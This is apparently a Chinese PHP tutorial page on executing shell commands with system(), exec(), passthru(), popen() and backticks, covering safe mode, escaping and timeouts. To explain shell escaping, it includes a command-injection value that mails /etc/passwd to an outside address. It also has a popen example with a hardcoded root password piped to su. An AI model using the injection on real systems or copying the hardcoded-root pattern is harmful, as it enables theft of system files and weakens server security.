首页 > php代码 > PHP 中执行系统外部命令

PHP 中执行系统外部命令

由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制: 


一.  执行外部命令 : 

    安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是 /usr/local/php/bin。 如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。 

在PHP中调用外部命令,可以用如下三种方法来实现:

1.用PHP提供的专门函数 

a.

 string system(string command [,int return_var] ),直接输出结果并返回最后一行结果 ,return_var是执行结果状态码。


<?php  

error_reporting(E_ALL);  

  

$lastLineRes=system("ls -l");  

  

echo "<br/>$lastLineRes<br/>";  



b.

 string exec(string commad [,array res [, int return_var] ] ),不输出并返回最后一行结果,array res 是存放所有执行结果的数组,return_var是状态码。


exec("ls -l");  

exec("ls -l",$res);  

exec("ls -l",$res2,$statu);  


         c. void passthru(string commad [,int return_var] ),只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上,经常用来调用像pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。


header("Content-type: image/gif");   

passthru("./ppmtogif hunte.ppm");   


       2. 用popen()函数打开进程


上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。 

popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。

在PHP3中,对这种句柄只能做单一

 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。


$fp=popen("ls -l", "r");   


/* PHP中如何增加一个系统用户  

下面是一段例程,增加一个名字为james的用户,  

root密码是 verygood。仅供参考  

*/   

$sucommand = "su --login root --command";   

$useradd = "useradd ";   

$rootpasswd = "verygood";   

$user = "james";   

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);   

$fp = @popen($user_add,"w");   

@fputs($fp,$rootpasswd);   

@pclose($fp);   


        3.用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面) 

       这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如: 


$res='ls -l';   

echo "`$res`";   


要考虑两个问题:安全性和超时。 

       a. 先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样: 


system("mail $to < products.txt");   


如果有个恶意的用户输入了这样一个EMAIL地址: 

'--bla ; mail someone@domain.com < /etc/passwd ;' 

那么这条命令最终变成: 

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 

       PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数

       b.  超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:


system("/usr/local/bin/order_proc > /tmp/null &");   


本文地址:http://www.phprm.com/code/643f95b1aee881ebd97c1030c54e75e8.html

转载随意,但请附上文章地址:-)

标签:none

发表留言